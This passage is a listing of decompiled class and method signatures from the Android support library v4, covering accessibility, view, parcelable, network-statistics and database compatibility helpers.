    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventStubImpl implements AccessibilityEventCompat$AccessibilityEventVersionImpl {
    void AccessibilityEventCompat$AccessibilityEventStubImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityManagerCompat {
    private static final AccessibilityManagerCompat$AccessibilityManagerVersionImpl IMPL;
    public void AccessibilityManagerCompat();
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatJellyBean {
    void AccessibilityNodeProviderCompatJellyBean();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityEventCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompatIcs {
    void AccessibilityEventCompatIcs();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public static Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/ViewConfigurationCompat$BaseViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$BaseViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$BaseViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/MotionEventCompatEclair.class


package android.support.v4.view;
synchronized class MotionEventCompatEclair {
    void MotionEventCompatEclair();
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/VelocityTrackerCompat$BaseVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$BaseVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$BaseVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/MenuCompat.class


package android.support.v4.view;
public synchronized class MenuCompat {
    static final MenuCompat$MenuVersionImpl IMPL;
    public void MenuCompat();
    public static boolean setShowAsAction(android.view.MenuItem, int);
    static void <clinit>();
}










android/support/v4/view/ViewGroupCompat.class


package android.support.v4.view;
public synchronized class ViewGroupCompat {
    static final ViewGroupCompat$ViewGroupCompatImpl IMPL;
    private void ViewGroupCompat();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    static void <clinit>();
}










android/support/v4/view/PagerTabStrip$2.class


package android.support.v4.view;
synchronized class PagerTabStrip$2 implements android.view.View$OnClickListener {
    void PagerTabStrip$2(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/MenuItemCompatHoneycomb.class


package android.support.v4.view;
synchronized class MenuItemCompatHoneycomb {
    void MenuItemCompatHoneycomb();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatJellyBean$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatJellyBean$1(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/GestureDetectorCompat.class


package android.support.v4.view;
public synchronized class GestureDetectorCompat {
    private final GestureDetectorCompat$GestureDetectorCompatImpl mImpl;
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener);
    public void GestureDetectorCompat(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/PagerTitleStrip$1.class


package android.support.v4.view;
synchronized class PagerTitleStrip$1 {
}










android/support/v4/view/ViewConfigurationCompat$FroyoViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$FroyoViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$FroyoViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/MotionEventCompat.class


package android.support.v4.view;
public synchronized class MotionEventCompat {
    static final MotionEventCompat$MotionEventVersionImpl IMPL;
    public static final int ACTION_MASK = 255;
    public static final int ACTION_POINTER_DOWN = 5;
    public static final int ACTION_POINTER_UP = 6;
    public static final int ACTION_HOVER_MOVE = 7;
    public static final int ACTION_SCROLL = 8;
    public static final int ACTION_POINTER_INDEX_MASK = 65280;
    public static final int ACTION_POINTER_INDEX_SHIFT = 8;
    public static final int ACTION_HOVER_ENTER = 9;
    public static final int ACTION_HOVER_EXIT = 10;
    public void MotionEventCompat();
    public static int getActionMasked(android.view.MotionEvent);
    public static int getActionIndex(android.view.MotionEvent);
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
    static void <clinit>();
}










android/support/v4/view/ViewCompatGingerbread.class


package android.support.v4.view;
synchronized class ViewCompatGingerbread {
    void ViewCompatGingerbread();
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/MenuCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuCompat$MenuVersionImpl {
    public abstract boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateImpl.class


package android.support.v4.view;
abstract interface AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    public abstract Object newAccessiblityDelegateDefaultImpl();
    public abstract Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public abstract boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(Object, android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public abstract boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompat$HCViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$HCViewCompatImpl extends ViewCompat$GBViewCompatImpl {
    void ViewCompat$HCViewCompatImpl();
    long getFrameTime();
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
}










android/support/v4/view/ViewPager$3.class


package android.support.v4.view;
synchronized class ViewPager$3 implements Runnable {
    void ViewPager$3(ViewPager);
    public void run();
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr1.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr1 implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private final android.view.GestureDetector mDetector;
    public void GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr1(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract Object getAccessibilityNodeProvider(android.view.View);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1 implements AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public Object getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/MenuCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuCompat$BaseMenuVersionImpl implements MenuCompat$MenuVersionImpl {
    void MenuCompat$BaseMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/ViewPager$SavedState.class


package android.support.v4.view;
public synchronized class ViewPager$SavedState extends android.view.View$BaseSavedState {
    int position;
    android.os.Parcelable adapterState;
    ClassLoader loader;
    public static final android.os.Parcelable$Creator CREATOR;
    public void ViewPager$SavedState(android.os.Parcelable);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    void ViewPager$SavedState(android.os.Parcel, ClassLoader);
    static void <clinit>();
}










android/support/v4/view/ViewPager$SimpleOnPageChangeListener.class


package android.support.v4.view;
public synchronized class ViewPager$SimpleOnPageChangeListener implements ViewPager$OnPageChangeListener {
    public void ViewPager$SimpleOnPageChangeListener();
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
}










android/support/v4/view/ViewCompat$BaseViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$BaseViewCompatImpl implements ViewCompat$ViewCompatImpl {
    void ViewCompat$BaseViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    long getFrameTime();
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
}










android/support/v4/view/ViewPager$2.class


package android.support.v4.view;
final synchronized class ViewPager$2 implements android.view.animation.Interpolator {
    void ViewPager$2();
    public float getInterpolation(float);
}










android/support/v4/view/MenuItemCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuItemCompat$MenuVersionImpl {
    public abstract boolean setShowAsAction(android.view.MenuItem, int);
    public abstract android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1 implements AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplBase.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplBase implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplBase();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/MenuItemCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$BaseMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$BaseMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/PagerTabStrip$1.class


package android.support.v4.view;
synchronized class PagerTabStrip$1 implements android.view.View$OnClickListener {
    void PagerTabStrip$1(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/ViewConfigurationCompat$ViewConfigurationVersionImpl.class


package android.support.v4.view;
abstract interface ViewConfigurationCompat$ViewConfigurationVersionImpl {
    public abstract int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/VelocityTrackerCompat$VelocityTrackerVersionImpl.class


package android.support.v4.view;
abstract interface VelocityTrackerCompat$VelocityTrackerVersionImpl {
    public abstract float getXVelocity(android.view.VelocityTracker, int);
    public abstract float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl extends AccessibilityDelegateCompat$AccessibilityDelegateStubImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatIcsImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatIcsImpl extends ViewGroupCompat$ViewGroupCompatStubImpl {
    void ViewGroupCompat$ViewGroupCompatIcsImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewConfigurationCompat.class


package android.support.v4.view;
public synchronized class ViewConfigurationCompat {
    static final ViewConfigurationCompat$ViewConfigurationVersionImpl IMPL;
    public void ViewConfigurationCompat();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    static void <clinit>();
}










android/support/v4/view/ViewCompatHC.class


package android.support.v4.view;
synchronized class ViewCompatHC {
    void ViewCompatHC();
    static long getFrameTime();
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompatIcs.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatIcs {
    void AccessibilityDelegateCompatIcs();
    public static Object newAccessibilityDelegateDefaultImpl();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public static boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(Object, android.view.View, Object);
    public static void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void sendAccessibilityEvent(Object, android.view.View, int);
    public static void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2Stub {
    void ParcelableCompatCreatorHoneycombMR2Stub();
    static android.os.Parcelable$Creator instantiate(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompat.class


package android.support.v4.os;
public synchronized class ParcelableCompat {
    public void ParcelableCompat();
    public static android.os.Parcelable$Creator newCreator(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompatCreatorCallbacks.class


package android.support.v4.os;
public abstract interface ParcelableCompatCreatorCallbacks {
    public abstract Object createFromParcel(android.os.Parcel, ClassLoader);
    public abstract Object[] newArray(int);
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2 implements android.os.Parcelable$ClassLoaderCreator {
    private final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompatCreatorHoneycombMR2(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object createFromParcel(android.os.Parcel, ClassLoader);
    public Object[] newArray(int);
}










android/support/v4/os/ParcelableCompat$CompatCreator.class


package android.support.v4.os;
synchronized class ParcelableCompat$CompatCreator implements android.os.Parcelable$Creator {
    final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompat$CompatCreator(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object[] newArray(int);
}










android/support/v4/net/TrafficStatsCompat$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$1 {
}










android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatHoneycombMR2 {
    void ConnectivityManagerCompatHoneycombMR2();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$1 extends ThreadLocal {
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl$1(TrafficStatsCompat$BaseTrafficStatsCompatImpl);
    protected TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags initialValue();
}










android/support/v4/net/ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$TrafficStatsCompatImpl.class


package android.support.v4.net;
abstract interface TrafficStatsCompat$TrafficStatsCompatImpl {
    public abstract void clearThreadStatsTag();
    public abstract int getThreadStatsTag();
    public abstract void incrementOperationCount(int);
    public abstract void incrementOperationCount(int, int);
    public abstract void setThreadStatsTag(int);
    public abstract void tagSocket(java.net.Socket) throws java.net.SocketException;
    public abstract void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompatGingerbread.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatGingerbread {
    void ConnectivityManagerCompatGingerbread();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompatJellyBean.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatJellyBean {
    void ConnectivityManagerCompatJellyBean();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    private ThreadLocal mThreadSocketTags;
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket);
    public void untagSocket(java.net.Socket);
}










android/support/v4/net/TrafficStatsCompatIcs.class


package android.support.v4.net;
public synchronized class TrafficStatsCompatIcs {
    public void TrafficStatsCompatIcs();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags {
    public int statsTag;
    private void TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags();
}










android/support/v4/net/TrafficStatsCompat$IcsTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$IcsTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    void TrafficStatsCompat$IcsTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket) throws java.net.SocketException;
    public void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompat$ConnectivityManagerCompatImpl.class


package android.support.v4.net;
abstract interface ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    public abstract boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat.class


package android.support.v4.net;
public synchronized class TrafficStatsCompat {
    private static final TrafficStatsCompat$TrafficStatsCompatImpl IMPL;
    public void TrafficStatsCompat();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
    static void <clinit>();
}










android/support/v4/net/ConnectivityManagerCompat.class


package android.support.v4.net;
public synchronized class ConnectivityManagerCompat {
    private static final ConnectivityManagerCompat$ConnectivityManagerCompatImpl IMPL;
    public void ConnectivityManagerCompat();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
    public static android.net.NetworkInfo getNetworkInfoFromBroadcast(android.net.ConnectivityManager, android.content.Intent);
    static void <clinit>();
}










android/support/v4/database/DatabaseUtilsCompat.class


package android.support.v4.database;
public synchronized class DatabaseUtilsCompat {
    private void DatabaseUtilsCompat();
    public static String concatenateWhere(String, String);
    public static String[] appendSelectionArgs(String[], String[]);
}










android/support/v4/app/FragmentTabHost.class


package android.support.v4.app;
